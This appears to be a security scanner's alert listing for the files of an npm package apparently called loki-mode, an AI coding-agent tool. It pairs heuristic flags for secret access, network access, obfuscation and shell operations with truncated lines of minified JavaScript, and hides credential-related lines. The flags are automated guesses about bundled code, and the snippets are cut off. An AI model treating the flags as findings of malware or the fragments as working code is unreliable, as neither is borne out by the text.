[Credential-related source omitted] - Access to secretsline 446
[Credential-related source omitted] - Access to secretsline 447
[Credential-related source omitted] - Access to secretsline 448
[Credential-related source omitted] - Access to secretsline 449
[Credential-related source omitted] - Access to secretsline 471
[Credential-related source omitted] - Access to secretsline 472
[Credential-related source omitted] - Access to secretsline 473
[Credential-related source omitted] - Access to secretsline 474
[Credential-related source omitted] - Access to secretsline 475
[Credential-related source omitted]
learning/emitter.py
- Executable scriptline 1
Executable file
learning/signals.py
- Executable scriptline 1
Executable file
learning/signals.ts
- Executable scriptline 1
Executable file
learning/suggest.sh
- Executable scriptline 1
#!/usr/bin/env bash
learning/suggestions.py
- Executable scriptline 1
Executable file
loki-ts/data/child-env.json
- Access to secretsline 190
[Credential-related source omitted]
loki-ts/data/code-review-schema.json
loki-ts/data/council-v2-schema.json
loki-ts/data/done-recognition-schema.json
loki-ts/data/finding-schema.json
loki-ts/data/model-pricing.json
- Network accessline 5
"default_max_cost_usd": 100, "inference_geo_multipliers": {"us": 1.1}, "_source": "https://platform.claude.com/docs/en/about-claude/pricing (docs.anthropic.com/en/docs/about-claude/pricing 301-redirects there), read 2026-10-08. Per MTok - Network accessline 6
"inference_geo_multipliers": {"us": 1.1}, "_source": "https://platform.claude.com/docs/en/about-claude/pricing (docs.anthropic.com/en/docs/about-claude/pricing 301-redirects there), read 2026-10-08. Per MTok. fable=Claude Fable 5.1 $10/$5 - Network accessline 7
"_source": "https://platform.claude.com/docs/en/about-claude/pricing (docs.anthropic.com/en/docs/about-claude/pricing 301-redirects there), read 2026-10-08. Per MTok. fable=Claude Fable 5.1 $10/$50, cache read $0.25 (0.025x), 5m write $12.5
loki-ts/data/requirements-verdict-schema.json
loki-ts/dist/cockpit.js
- Executable scriptline 1
Executable file - Network accessline 2
var BJ=Object.defineProperty;var HJ=(J)=>J;function FJ(J,Q){this[J]=HJ.bind(null,Q)}var IJ=(J,Q)=>{for(var Z in Q)BJ(J,Z,{get:Q[Z],enumerable:!0,configurable:!0,set:FJ.bind(Q,Z)})};var SJ=(J,Q)=>()=>(J&&(Q=J(J=0)),Q);var H=import.meta.requi - Possible obfuscationline 2
var BJ=Object.defineProperty;var HJ=(J)=>J;function FJ(J,Q){this[J]=HJ.bind(null,Q)}var IJ=(J,Q)=>{for(var Z in Q)BJ(J,Z,{get:Q[Z],enumerable:!0,configurable:!0,set:FJ.bind(Q,Z)})};var SJ=(J,Q)=>()=>(J&&(Q=J(J=0)),Q);var H=import.meta.requi - Possible obfuscationline 9
<text x="${J}" y="${Q+24}" font-family="'JetBrains Mono','SF Mono',ui-monospace,monospace" font-size="20" font-weight="600" fill="${G}">${L($)}</text>`}var jJ=["Reason","Act","Reflect","Verify"];function OJ(J){let Q=(J||"").toLowerCase();if - Possible obfuscationline 12
</svg>`}var f,u;function DJ(){if(f!==void 0)return f;try{let J=globalThis.require??H;J.resolve("@resvg/resvg-js"),f=J("@resvg/resvg-js")}catch{f=null}return f}async function NJ(){if(u!==void 0)return u;try{let J=await Promise.resolve().then
loki-ts/dist/loki.js
- Executable scriptline 1
Executable file - Network accessline 2
var t98=Object.create;var{getPrototypeOf:e98,defineProperty:hH,getOwnPropertyNames:B20,getOwnPropertyDescriptor:$68}=Object,M20=Object.prototype.hasOwnProperty;function N20($){return this[$]}var Z68,J68,X68=($,Z,J)=>{var X=$!=null&&typeof $ - Possible obfuscationline 2
var t98=Object.create;var{getPrototypeOf:e98,defineProperty:hH,getOwnPropertyNames:B20,getOwnPropertyDescriptor:$68}=Object,M20=Object.prototype.hasOwnProperty;function N20($){return this[$]}var Z68,J68,X68=($,Z,J)=>{var X=$!=null&&typeof $ - Network accessline 5
Run \`which -a loki\` to see the order, then remove or re-point the earlier entry. `);return}let Y=await T68(Z.now,Z.fetcher,Z.cacheFile);if(Y===null)return;if(!gH(Y,$))return;J(`A newer Loki Mode is available: ${Y} (you have ${$}). Update: - Network accessline 6
`);return}let Y=await T68(Z.now,Z.fetcher,Z.cacheFile);if(Y===null)return;if(!gH(Y,$))return;J(`A newer Loki Mode is available: ${Y} (you have ${$}). Update: ${w68(Z.installPath??process.argv[1]??"")} `)}catch{}}var M68="https://registry.np - Network accessline 7
`)}catch{}}var M68="https://registry.npmjs.org/loki-mode/latest",N68=86400000,F68=1500,O68=900000;var lb=_(()=>{G8()});import{mkdtempSync as k68,rmSync as S68,statSync as y68,lstatSync as b68}from"fs";import{tmpdir as v68}from"os";import{jo - Possible obfuscationline 7
`)}catch{}}var M68="https://registry.npmjs.org/loki-mode/latest",N68=86400000,F68=1500,O68=900000;var lb=_(()=>{G8()});import{mkdtempSync as k68,rmSync as S68,statSync as y68,lstatSync as b68}from"fs";import{tmpdir as v68}from"os";import{jo - Possible obfuscationline 8
`)[0];if(e68.has(X[Q])&&W)Y.push(W)}return[...new Set(Y)]}function z48($){let Z=$??String(uH("git",["--version"],{encoding:"utf8",env:P1()}).stdout??""),J=/(\d+)\.(\d+)/.exec(Z);return!!J&&(Number(J[1])>2||Number(J[1])===2&&Number(J[2])>=44 - Possible obfuscationline 9
`),q=H<0?X[G+1]:X[G+1].slice(0,H),U=H<0?"":X[G+1].slice(H+1);if(q)Y.push({k:q,scope:X[G],value:U})}let Q=new Set(Y.filter((G)=>mH.has(G.scope)).map((G)=>G.k)),W=[],z=[],V=new Map,K=(G)=>/^credential(\..*)?\.helper$/.test(G);for(let G of Q){ - Possible obfuscationline 10
[Credential-related source omitted] - Access to secretsline 10
[Credential-related source omitted] - Possible obfuscationline 13
`;var U3=_(()=>{w6=["claude","opencode"],cZ=new Set(w6),$z=new Set(["codex","cline","aider","gemini"])});import{copyFileSync as p20,existsSync as rb,lstatSync as N48,mkdirSync as F48,readFileSync as O48,readdirSync as L48,readlinkSync as j4 - Possible obfuscationline 14
`).filter(Boolean).length;return{cwd:$,head:J,tracked:Q,gitConfig:Zv(N4(X,"config")),hooks:$v(X),backupDir:Y}}function I48($,Z){return Z>0&&$>=Math.min(5,Z)&&$*2>Z}function R48($,Z){try{let J=j48(Z),X=c20(J)?J:A48(C48(Z),J),Y=P48(m20($),rb( - Instruction override signalline 15
`)+` `}var tb=($)=>$!=="claude",pH=($,Z)=>{try{return t($,Z).trim()}catch{return""}},eb=($)=>{return pH($,["rev-parse","--absolute-git-dir"])||N4($,".git")},$v=($)=>{try{return L48(N4($,"hooks")).filter((Z)=>!Z.endsWith(".sample")).sort()}c - Possible obfuscationline 16
`}var tb=($)=>$!=="claude",pH=($,Z)=>{try{return t($,Z).trim()}catch{return""}},eb=($)=>{return pH($,["rev-parse","--absolute-git-dir"])||N4($,".git")},$v=($)=>{try{return L48(N4($,"hooks")).filter((Z)=>!Z.endsWith(".sample")).sort()}catch{ - Instruction override signalline 16
`}var tb=($)=>$!=="claude",pH=($,Z)=>{try{return t($,Z).trim()}catch{return""}},eb=($)=>{return pH($,["rev-parse","--absolute-git-dir"])||N4($,".git")},$v=($)=>{try{return L48(N4($,"hooks")).filter((Z)=>!Z.endsWith(".sample")).sort()}catch{ - Possible obfuscationline 17
[Credential-related source omitted] - Access to secretsline 17
[Credential-related source omitted] - Possible obfuscationline 18
[Credential-related source omitted] - Access to secretsline 18
[Credential-related source omitted] - Possible obfuscationline 19
[Credential-related source omitted] - Possible obfuscationline 61
`)}return F$0(),2}}async function O$0($){let{run:Z}=await Promise.resolve().then(() => (F9(),H$0)),{resolve:J}=await import("path"),{REPO_ROOT:X}=await Promise.resolve().then(() => (G8(),ub)),Y=J(X,"autonomy","loki"),Q=await Z([Y,...$],{env - Possible obfuscationline 64
`);for(let J=Z.length-1;J>=0;J--){let X=_$0.exec((Z[J]??"").trim());if(!X)continue;let Y={passed:0,failed:0,errors:0,skipped:0,other:0};for(let[,Q,W]of(X[1]??"").matchAll(/(\d+)\s+(passed|failed|errors?|skipped|xfailed|xpassed|deselected|wa - Possible obfuscationline 65
${Y.stderr??""}`,Y.status,W,Q)}}function x$0($,Z,J,X,Y){let Q=C$0(j2(Fv(),"loki-pyc-")),W=C$0(j2(Fv(),"loki-junit-")),z=j2(W,"junit.xml"),V;try{let K=Z;try{K=Nv(Z)}catch{}let G=w$0($,["-m","pytest","-p","no:cacheprovider","--rootdir",K,"--c - Possible obfuscationline 66
`).filter((K)=>/^\S.*\.py::\S/.test(K)&&!K.startsWith("ERROR ")),V=/(\d+) tests? collected/.exec(W);if(!V||Number(V[1])!==z.length)return{ok:!1,reason:"collect-only count disagrees with its nodeid list"};return z.length===0?{ok:!1,reason:"c - Possible obfuscationline 159
`,_$0,u78=($)=>$.replace(/&(lt|gt|quot|apos|amp|#x?[0-9a-fA-F]+);/g,(Z,J)=>J==="lt"?"<":J==="gt"?">":J==="quot"?'"':J==="apos"?"'":J==="amp"?"&":String.fromCodePoint(J[1]==="x"?parseInt(J.slice(2),16):parseInt(J.slice(1),10))),A$0;var e6=_( - Possible obfuscationline 161
`),Z}catch(J){if(Z!==null){try{KY(Z)}catch{}try{AC($)}catch{}}if(J?.code==="EEXIST")return null;throw J}}function m$0($,Z){let J;try{J=y$0($)}catch{return!0}if(J.isSymbolicLink())try{return AC($),!0}catch{return!1}let X;try{X=rH($,"r")}catc - Possible obfuscationline 162
`)}function Xz($){if($===void 0||$.trim()==="")return null;let Z=Number($);if(Number.isFinite(Z)&&Z>0)return Z;return Rv("LOKI_E10_CAP_S",$),null}function HY($,Z=IC){return $-Math.min(Z,$/30)}function R1($){switch($.cmd){case"push-pr":retur - Possible obfuscationline 164
${K[++H]}`;let M=U[1].replace(/["']/g,""),F=/(^|\.)(dependencies|dev-dependencies|optional-dependencies|dependency-groups|extras|packages|dev-packages)$/.test(G);if(F||/^(optional-)?dependencies$|^dev-dependencies$/.test(M)){if(B.trimStart( - Possible obfuscationline 167
`;G++){let q=$[G];if(q==="\\")G++;else if(q==="[")H=!0;else if(q==="]")H=!1;else if(q==="/"&&!H)break}if(G<X&&$[G]==="/"){Y+="\x01",Q=G+1;continue}}}Y+=z,Q++}let W=[];for(let z of Y.matchAll(/\bfrom\s*\u0000(\d+)\u0000|\bimport\s*\u0000(\d+ - Possible obfuscationline 168
`).filter((O)=>wv(O)==="package.json"&&!O.split("/").includes("node_modules"));if(M.length>G28)return!1;let F=new Set,N=new Set;for(let O of M)try{let L=JSON.parse(W(["show",`${Z.baseSha}:${O}`])??"");if(typeof L.name==="string")F.add(L.nam - Possible obfuscationline 169
`)){let Y=/^packages\s*:\s*(.*)$/.exec(X);if(Y){let W=Y[1].replace(/\s+#.*$/,"").trim();if(J=W===""||W.startsWith("#"),W.startsWith("["))Z.push(...W.slice(1,W.includes("]")?W.indexOf("]"):void 0).split(",").map((z)=>z.trim().replace(/^["']| - Possible obfuscationline 170
`);if((X===".js"||X===".css")&&Z.length/Y.length>110)return!0;return w28.some(([Q,W,z])=>Q.test(J)&&W.test(Y.slice(0,z).join( `)))},_28,x28=($)=>$==="set"||$==="true"?!0:$==="unset"||$==="false"?!1:void 0,S28;var _C=_(()=>{b0();lZ();X30();C - Possible obfuscationline 171
`)))},_28,x28=($)=>$==="set"||$==="true"?!0:$==="unset"||$==="false"?!1:void 0,S28;var _C=_(()=>{b0();lZ();X30();C28=wC.vendor.map(($)=>new RegExp($)),P28=wC.documentation.map(($)=>new RegExp($)),A28=new Set([...Jq.flatMap(($)=>$.locks),"go - Dangerous shell operationline 172
${h28(f28(x0,"scripts/vpr-pytest-boot",J),"utf8")}LOKI_VPR_PY`;return[`: ${xC}`,'B=$(mktemp -d "${TMPDIR:-/tmp}/loki-vpr.XXXXXX") || exit 125',`trap 'rm -rf "$B"' EXIT`,Z("loki_vpr_boot.py","loki_vpr_boot.py"),Z("loki_vpr_plugin.py","loki_v - Possible obfuscationline 172
${h28(f28(x0,"scripts/vpr-pytest-boot",J),"utf8")}LOKI_VPR_PY`;return[`: ${xC}`,'B=$(mktemp -d "${TMPDIR:-/tmp}/loki-vpr.XXXXXX") || exit 125',`trap 'rm -rf "$B"' EXIT`,Z("loki_vpr_boot.py","loki_vpr_boot.py"),Z("loki_vpr_plugin.py","loki_v - Network accessline 174
`};var fv=_(()=>{G8()});import{existsSync as g28,readFileSync as m28}from"fs";import{join as u28}from"path";function P2($,Z={}){let J=[];for(let X of Z.yamlOnly?["loki.yaml"]:["loki.yaml","loki.yml"]){let Y=u28($,X);if(!g28(Y))continue;try{ - Network accessline 175
`).split(` `),Y=new RegExp(`^${kC(Z)}:[ \\t]*\\{(.*)\\}[ \\t]*(?:#.*)?$`);for(let K of X){let G=Y.exec(K);if(G)return c28(G[1],J)}let Q=new RegExp(`^${kC(Z)}:[ \\t]*(?:#.*)?$`),W=X.findIndex((K)=>Q.test(K));if(W<0)return null;let z=new RegE - Network accessline 176
`),Y=new RegExp(`^${kC(Z)}:[ \\t]*\\{(.*)\\}[ \\t]*(?:#.*)?$`);for(let K of X){let G=Y.exec(K);if(G)return c28(G[1],J)}let Q=new RegExp(`^${kC(Z)}:[ \\t]*(?:#.*)?$`),W=X.findIndex((K)=>Q.test(K));if(W<0)return null;let z=new RegExp(`^${kC(J - Possible obfuscationline 176
`),Y=new RegExp(`^${kC(Z)}:[ \\t]*\\{(.*)\\}[ \\t]*(?:#.*)?$`);for(let K of X){let G=Y.exec(K);if(G)return c28(G[1],J)}let Q=new RegExp(`^${kC(Z)}:[ \\t]*(?:#.*)?$`),W=X.findIndex((K)=>Q.test(K));if(W<0)return null;let z=new RegExp(`^${kC(J - Possible obfuscationline 177
`)H++;Y(z,H),z=H;continue}if(K==='"'||K==="'"){let H=$.startsWith(K.repeat(3),z),q=H?K.repeat(3):K,U=z+q.length;while(U<Q&&!$.startsWith(q,U)){if($[U]==="\\")U++;else if(!H&&$[U]=== `)break;U++}Y(z+q.length,U),z=Math.min(Q,U+q.length);conti - Possible obfuscationline 180
`&&!q&&Z!=="kt")break;H++}Y(z+1,H),z=H+1;continue}if(K==="'"&&Z==="rs"){let H=/^'(?:\\.[^']*|[^\\'])'/.exec($.slice(z,z+12));if(H){Y(z+1,z+H[0].length-1),z+=H[0].length;continue}}z++}return J.push($.slice(X)),J.join("")}function w$8($,Z,J,X - Possible obfuscationline 190
`)+1,D=(h)=>{if(w(h))return!1;let d=E(h);if(I+d>T)return!1;for(let v=P.length-1;v>=0;v--){let p=P[v];if(p.path===h.path&&p.start>=h.start&&p.end<=h.end)I-=E(p),P.splice(v,1)}return P.push(h),I+=d,!0};for(let h of N)D(h);if(!P.length)return - Possible obfuscationline 193
${z.get(h.path).slice(h.start-1,h.end).join( `)}`)].join( `);return{text:z0,files:f,spans:s.map(({path:h,start:d,end:v,symbol:p,via:Z0})=>({path:h,start:d,end:v,symbol:p,via:Z0})),tokens:H$8(z0),budget_tokens:Y}}function h$8($,Z,J){let X=$? - Possible obfuscationline 195
`);return{text:z0,files:f,spans:s.map(({path:h,start:d,end:v,symbol:p,via:Z0})=>({path:h,start:d,end:v,symbol:p,via:Z0})),tokens:H$8(z0),budget_tokens:Y}}function h$8($,Z,J){let X=$?.brief_files;if(!Array.isArray(X))return null;let Y=new Se - Possible obfuscationline 197
`);return 2000},v30=256000,f30=300,u$8,c$8,g30;var iZ=_(()=>{b0();_C();nZ();u$8=/\.(ts|tsx|js|jsx|mjs|cjs|py|java|kt|kts|cs|go|rs)$/,c$8=/^export\s+(?:default\s+)?(?:async\s+)?(?:function|class|const|let|interface|type|enum)\s+([A-Za-z0-9_$ - Possible obfuscationline 198
`).trim()});X={n:Number(z[1]),title:(z[2]??"").trim(),body:[]}}else if(X)X.body.push(W)}if(X)J.push({n:X.n,title:X.title,body:X.body.join( `).trim()});if(J.length>=2)return J.map((W)=>({...W,body:W.body||W.title||`Milestone ${W.n}`}));let Y - Possible obfuscationline 199
`).trim()});if(J.length>=2)return J.map((W)=>({...W,body:W.body||W.title||`Milestone ${W.n}`}));let Y=[],Q=!1;for(let W of Z){if(!Q){Q=I38.test(W);continue}let z=Zh.exec(W);if(z){let V=z[1].trim();Y.push({n:Y.length+1,title:V,body:V});conti - Possible obfuscationline 201
`)}function U10($,Z,J){if(Z===void 0||Z.trim()==="")return J;let X=Number(Z);if(Number.isFinite(X)&&X>0)return X;return _38($,Z,J),J}function Gh($=process.env.LOKI_E10_STALL_S){return U10("LOKI_E10_STALL_S",$,900)}function B10($=process.env - Network accessline 202
`,{mode:384}),b38(W,384),v38(W,Y)}}catch{}return()=>{try{if(JSON.parse(Bh(Y,"utf8")).pid===J)h38(Y,{force:!0})}catch{}}}function YP($){try{let Z=JSON.parse(Bh(P10($),"utf8"));if(!Number.isInteger(Z.pid)||Z.pid<=1||typeof Z.start!=="string"| - Network accessline 203
`)}catch{}}function _10($){try{let Z=Number(Bh(D10($),"utf8").trim());return Number.isFinite(Z)&&Z>0&&Z<=Math.min(Date.now()+60000,8640000000000000)?Z:null}catch{return null}}var P10=($)=>C10($,"run.pid"),Hq,I10=!1,R10,E10=()=>I10,D10=($)=> - Possible obfuscationline 203
`)}catch{}}function _10($){try{let Z=Number(Bh(D10($),"utf8").trim());return Number.isFinite(Z)&&Z>0&&Z<=Math.min(Date.now()+60000,8640000000000000)?Z:null}catch{return null}}var P10=($)=>C10($,"run.pid"),Hq,I10=!1,R10,E10=()=>I10,D10=($)=> - Possible obfuscationline 204
[Credential-related source omitted] - Network accessline 205
[Credential-related source omitted] - Possible obfuscationline 205
[Credential-related source omitted] - Access to secretsline 205
[Credential-related source omitted] - Possible obfuscationline 206
`):$;if(!Z)return!1;if(O18.test(Z))return!0;if(L18.test(Z))return!0;return!1}function YZ0($){if(!$)return 0;r10.lastIndex=0;let Z=0,J;while((J=r10.exec($))!==null){let X=J[1];if(X!==void 0){let Y=Number.parseInt(X,10);if(Number.isFinite(Y)) - Possible obfuscationline 207
`)){if(!X)continue;let Y=JSON.parse(X),Q=Y.usd;if(Y.seed===!0){if(J)continue;J=!0}if(typeof Q==="number"&&Number.isFinite(Q)&&Q>0)Z+=Q}return Z}catch{return null}}var Nq,s10="sonnet",O18,L18,r10,j18;var sZ=_(()=>{qq();L9();x1();G8();Bz();Nq - Possible obfuscationline 209
`),!0}catch{return!1}}function VZ0($,Z,J,X=""){return async(...Y)=>{let Q;try{Q=await $(...Y)}catch(z){throw Lq(Z,LP(J,X,"ts-spawn")),z}let W=null;try{W=JSON.parse(Q.stdout)}catch{}return Lq(Z,w18(J,W,"ts-spawn")??LP(J,X,"ts-spawn")),Q}}fun - Possible obfuscationline 210
`)}catch(H){if(H.code!=="ENOENT")X=!0}let Y=0,Q=0,W=0,z=0,V=X?1:0,K=!1,G=J.length-1;while(G>=0&&!J[G].trim())G--;for(let[H,q]of J.entries()){if(!q.trim())continue;let U;try{U=JSON.parse(q)}catch{if(_18(q,Z,K,H===G))V++;continue}if(!U||typeo - Possible obfuscationline 221
`);V=`fallback (${(/sdk-loop error: ([^\]\n]*)/.exec(F)?.[1]??T1(M.exit,!1)).slice(0,120)})`,U=`${U}f`,B.push(U),M=await $.sessions.run({...Z,iterationId:U,brief:W})}return{session:M,mode:V,...K?{why:K}:{},ids:B,sessionId:s4($.repoDir,U),ca - Possible obfuscationline 222
[Credential-related source omitted] - Access to secretsline 222
[Credential-related source omitted] - Possible obfuscationline 234
`));return{rest:Q,data:{intent_enabled:!0,intent_card:Y,...W?{intent_declined:!0}:{}}}}function rZ0($){let Z=$?.intent_card;return Array.isArray(Z)?Z.map((J)=>String(J).replace(/[\x00-\x1f\x7f`]+/g," ").trim()).filter((J)=>/^acceptance\b/i. - Possible obfuscationline 239
${$.clauses.map((Z)=>`Acceptance: ${GJ0(Z)}`).join( `)}`,"At every assertion block put a marker comment `clause: C3` (the clause id it proves) in the test language's own comment syntax, within a few lines of a real assertion. Every listed c - Possible obfuscationline 247
`),X=(B,M)=>{throw new Gf(B,M,Z)};if((J[0]??"").trim()!==VJ0)X(1,"missing the loki-spec v1 marker comment on the first line");let Y={};J.forEach((B,M)=>{let F=B.trim();if(F===Tq||F===Iq||F===Lz){if(F in Y)X(M+1,`duplicate heading "${F}"`);Y - Possible obfuscationline 253
`)}async function NJ0($){let Z=PZ8($.task),J=Aq($.repoDir,ZJ0,`${Z}.md`);if(LZ8(J)&&!$.force)throw Error(`spec exists: ${zJ0($.repoDir,J)} (edit it, delete it, or pass --force to regenerate)`);let X=Aq($.repoDir,".loki","runs",`spec-${Z}`); - Possible obfuscationline 254
`).filter((J)=>J.trim());while(Z.length&&tZ8.test(Z[Z.length-1]))Z.pop();return Z}function tJ0($){let Z=rJ0($),J=eJ0(Z).map((z)=>z.body),X=(z)=>z.filter((V)=>/^[.iF]+(?:\s+\d+\/\d+)?$/.test(V.trim())).reduce((V,K)=>V+(K.match(/\./g)?.length - Possible obfuscationline 257
`);if(!J.some((V)=>LJ0.test(V)))return;let X=new Map,Y=new Set,Q=new Set,W=Z!==!0&&J.some((V)=>/^FAIL\s+\S+\s+[\d.]+s\b/.test(V));for(let V of J){let K=V.match(/^=== RUN\s+(\S+)/),G=V.match(/^--- (PASS|FAIL|SKIP): (\S+)/);if(K)Y.add(K[1]);e - Possible obfuscationline 258
`)z();else W();else if(";&|()`".includes(K)){if(K==="("&&X==="$")X="",Y=!1;z()}else X+=K,Y=!0}return z(),Z}function NJ8($,Z){if(new RegExp(`\\b${$}\\s+\\S`).test(Z)||new RegExp(`["'](?:[^"']*/)?${$}["']`).test(Z))return!0;return BJ8.test(Z) - Possible obfuscationline 259
`)){if(!H.trim()||/^go: /.test(H))continue;let q;try{q=JSON.parse(H)}catch{return null}if(!q||typeof q!=="object"||typeof q.Action!=="string")return null;Z=!0;let U=typeof q.Package==="string"?q.Package:"",B=typeof q.Test==="string"?q.Test: - Possible obfuscationline 263
`)){let W=/^\s*\[+\s*([^\[\]]*?)\s*\]+\s*$/.exec(Q);if(W){if(Y=W[1].replace(/["'\s]/g,""),Y===`env.${Z}`)return!0}else if(Y==="env"&&new RegExp(String.raw`^\s*${X}\s*[.=]`).test(Q))return!0}return!1}function _J8($){let Z=Az("rustflags"),J=( - Possible obfuscationline 264
`){Z="",X=!0;continue}if(Z)continue;if(Q==="["||Q==="{"){if(J===0&&X)return!1;J++}else if(Q==="]"||Q==="}")J=Math.max(0,J-1);if(!/\s/.test(Q))X=!1}return!1}function SJ8($,Z,J){let X=(W)=>{try{let z=HX0(r5(W,"utf8"));if(/["']?cargo-features[ - Possible obfuscationline 265
`)){let L=/^(\d+) tests?, (\d+) benchmarks?$/.exec(O),C=/^(.+): (?:test|benchmark)$/.exec(O);if(L){let P=new Set(N);if(P.size!==N.length||P.size!==+L[1]+ +L[2])return null;F.push(P),N=[]}else if(C)N.push(C[1])}return F},H=await G([]),q=awai - Possible obfuscationline 266
${G.stderr??""}`};W=Q.next(H)}return W.value}function*BX0($,Z,J,X,Y,Q){let W={result:"not_run",reason:oJ0},V=uP(l8(Z))?.passedNames??[],K=(N,O)=>/[&|;$`"'<>()\\]/.test(N)&&!(X!==void 0&&Y[O-1]==="-run"&&/^\^\([A-Za-z0-9_|]+\)\$$/.test(N));i - Possible obfuscationline 267
`)){let L=/^(.+:\d+\.\d+,\d+\.\d+ \d+) \d+$/.exec(O);if(L)N.add(L[1])}return N};try{let N=new Set(V.map((w)=>w.slice(0,w.indexOf("::")))),O=new Set,L=yield["go",["list","-json=ImportPath,Dir,GoFiles,CgoFiles",...B],M];if(L.status!==0)return - Possible obfuscationline 270
`).map((z)=>z.trimEnd()),J=Z.filter((z)=>z.trim()).slice(-40),X=(z)=>{let V=J.map((K)=>z.exec(K)).filter(Boolean).pop();return V?V[1]==="SUCCESS"||V[1]==="SUCCESSFUL":null},Y=Z.filter((z)=>z.trim()).slice(-1)[0]?.match(/^LOKI_JAVA_TESTS: (\ - Possible obfuscationline 272
`)).digest("hex")}`:null}function Tf($,Z){if($.result!=="not_run"||$.n!==0||!/\bran 0 tests\b/.test($.reason??""))return!1;return!/skip|pending|todo/i.test(l8(Z).replace(/\b0 (?:skipped|pending|todo)\b|\b(?:skipped|pending|todo)\W{1,3}0\b/g - Possible obfuscationline 282
`);return z}function CX0($){let Z=$.tier===$.computed?$.reasons.slice(0,2).join("; "):`computed ${$.computed}; override ${$.override?.from} to ${$.override?.to}: ${$.override?.reason}`,J=$.checks_deferred;return`risk: ${$.tier} (${Z}), ${J. - Possible obfuscationline 284
`)){let Y=X.replace(/#.*/,"").trim().split(/\s+/)[0]??"";if(Y&&!/^(\/?\*{1,2}|\/)$/.test(Y))J.push({glob:Y,source:`CODEOWNERS ${Y}`})}try{let X=JSON.parse(Z??"null")?.critical_paths;if(Array.isArray(X)){for(let Y of X)if(typeof Y==="string" - Possible obfuscationline 287
`)}catch{}for(let K of W){let G=V.get(K.path)??"";if(!G&&K.status==="added")try{G=r5(c0($,K.path),"utf8")}catch{}let H=qX8(K.path,G,z);if(H)K.critical=H}for(let K of W){if(K.status==="deleted"||!AX0.some(([G])=>G.test(K.path)))continue;try{ - Possible obfuscationline 293
`);return V=g8(V),gX0(V,J)}function Pz($,Z){if(/ModuleNotFoundError/.test($))return TX8($,Z);let J=(B)=>{try{return _q(U$(B)?B:c0(Z,B))}catch{return null}},X=J(Z),Y=(B)=>{let M=J(B);return!!X&&!!M&&(M===X||M.startsWith(`${X}/`))},Q=/ImportE - Possible obfuscationline 296
`).pop()??""))return!0;let Z=[...$.matchAll(/^=+ short test summary info =+$/gm)].pop();return!!Z&&/^FAILED \S+/m.test($.slice(Z.index))}function RX8($,Z){let J=$==="bun"?/^\s*(\d+)\s+fail\s*$/m.exec(Z):$==="jest"?/Tests:\s*(\d+)\s+failed/i - Possible obfuscationline 297
`)){if(!Y.trim()||/^go: /.test(Y))continue;let Q;try{Q=JSON.parse(Y)}catch{return!1}if(!Q||typeof Q!=="object"||typeof Q.Action!=="string")return!1;if(typeof Q.Test==="string"&&Q.Test)return!1;if(Q.Action==="build-fail"&&typeof Q.ImportPath - Possible obfuscationline 299
${Q}`})},H=cJ0($,Z,{cwd:J.cwd,env:J.env,detached:!0,stdio:["ignore","pipe","pipe"]}),q=DX8(H.pid),U=()=>{try{process.kill(-H.pid,"SIGTERM")}catch{H.kill("SIGTERM")}};K.push(setTimeout(()=>{W=!0,U(),K.push(setTimeout(()=>{v9(H.pid,"SIGKILL") - Possible obfuscationline 304
(not rerun since the fix; it runs again once the checks above pass)`})}),{groups:z,names:W}}async function oX0($,Z,J,X){if(!(await $(["log","-1","--format=%B","HEAD"])).out.split( `).includes(`Loki-Wall-Publish: ${Z}`))return!1;let Y=new Ma - Possible obfuscationline 306
Loki-Run: ${Z}`,"--",...Q])).code!==0)return!1;if(await z())return!0;return await $(["update-ref","HEAD",W]),await $(["read-tree","HEAD"]),!1}function _f($){for(let Z of $.replace(rX0," ").matchAll(tX0)){let J=Z[1];if(/\.[A-Za-z][A-Za-z0-9] - Possible obfuscationline 312
Go: your test files are copied into ${k7($,Z)||"the repository root"}/, whose existing Go files declare "package ${W}". Start each file with "package ${W}"; any other package clause breaks that directory's build and the file is discarded.${ - Dangerous shell operationline 319
trap 'rm -rf -- "\${out:?}"' EXIT - Possible obfuscationline 328
exit $st`,Cf=($,Z,J)=>C9(c0($,Z))?`./${Z}`:J,fJ8="n/a (exit-coded check, not a test runner)",gJ8,mJ8,Iz=($)=>$.result==="pass"&&typeof $.n==="number"&&$.n>0,IY=($)=>$.some(Iz),uJ8,cJ8,bP=($)=>$.replace(/^(?:\.\/)+/,""),FX0=($,Z)=>$.some((J) - Possible obfuscationline 330
`),lJ8,iJ8,aJ8,_J0=($)=>{let Z=[],J=cP($);for(let Q of[dJ8,lJ8])for(let W of J.matchAll(Q))Z.push(W[1]);let X=pJ8.exec(J);if(X)Z.push(X[1]);let Y=iJ8.exec(J);if(Y)Z.push(Y[1]);return Z.filter((Q)=>!aJ8.has(Q))},jz=($)=>$.replace(e20,"?"),oJ - Possible obfuscationline 338
c.on("error", () => done(null, 1)); c.on("close", done); c.on("exit", (a, b) => setTimeout(() => done(a, b), 500)); `,uJ0,iX0,EY="wall-failure-tail.txt",uq="already failing on base, not caused by this change",Df="skipped by the repo on base - Possible obfuscationline 353
[Credential-related source omitted] - Access to secretsline 353
[Credential-related source omitted] - Possible obfuscationline 354
`);return{jwt:null,kid:null}}let X=s9(YA(J)),Y=`${dq(P9({alg:"EdDSA",typ:"JWT",kid:X}))}.${dq(P9({job_id:$,run_id:$,receipt_sha256:Z,iat:Math.floor(Date.now()/1000)}))}`;return{jwt:`${Y}.${dq(XY0(null,Buffer.from(Y),J))}`,kid:X}}function lX - Possible obfuscationline 355
`)){let Y=X.indexOf("=");if(Y>0&&X.slice(0,Y)in $)$[X.slice(0,Y)]=/\d+(\.\d+)+\S*/.exec(X.slice(Y+1))?.[0]??null}}catch{}return $}function lq($){if($)return{bun:process.versions.bun??$("bun"),node:$("node"),python3:$("python3"),git:$("git") - Possible obfuscationline 383
`);return H.verdict==="VERIFIED"?0:H.verdict==="TAMPERED"?1:2}function y1($,Z){if(Z)return s9(Z)===$?Z:void 0;let J=r9(!1),X=(process.env.LOKI_RECEIPT_RETIRED_PUBKEYS??"").split(":").map((Y)=>Y.trim()).filter(Boolean).flatMap((Y)=>{try{retu - Network accessline 387
`)}for(let Q of J)Y.update(`dir:${Q} `);return Y.digest("hex")}function mf($,Z){try{return t($,["ls-files","--error-unmatch","--",Z],{timeout:1e4}).trim()!==""}catch{return!1}}function EY0($){if(typeof $!=="object"||$===null||Array.isArray( - Network accessline 388
`);return Y.digest("hex")}function mf($,Z){try{return t($,["ls-files","--error-unmatch","--",Z],{timeout:1e4}).trim()!==""}catch{return!1}}function EY0($){if(typeof $!=="object"||$===null||Array.isArray($))return null;let{key:Z,expiresAt:J, - Possible obfuscationline 388
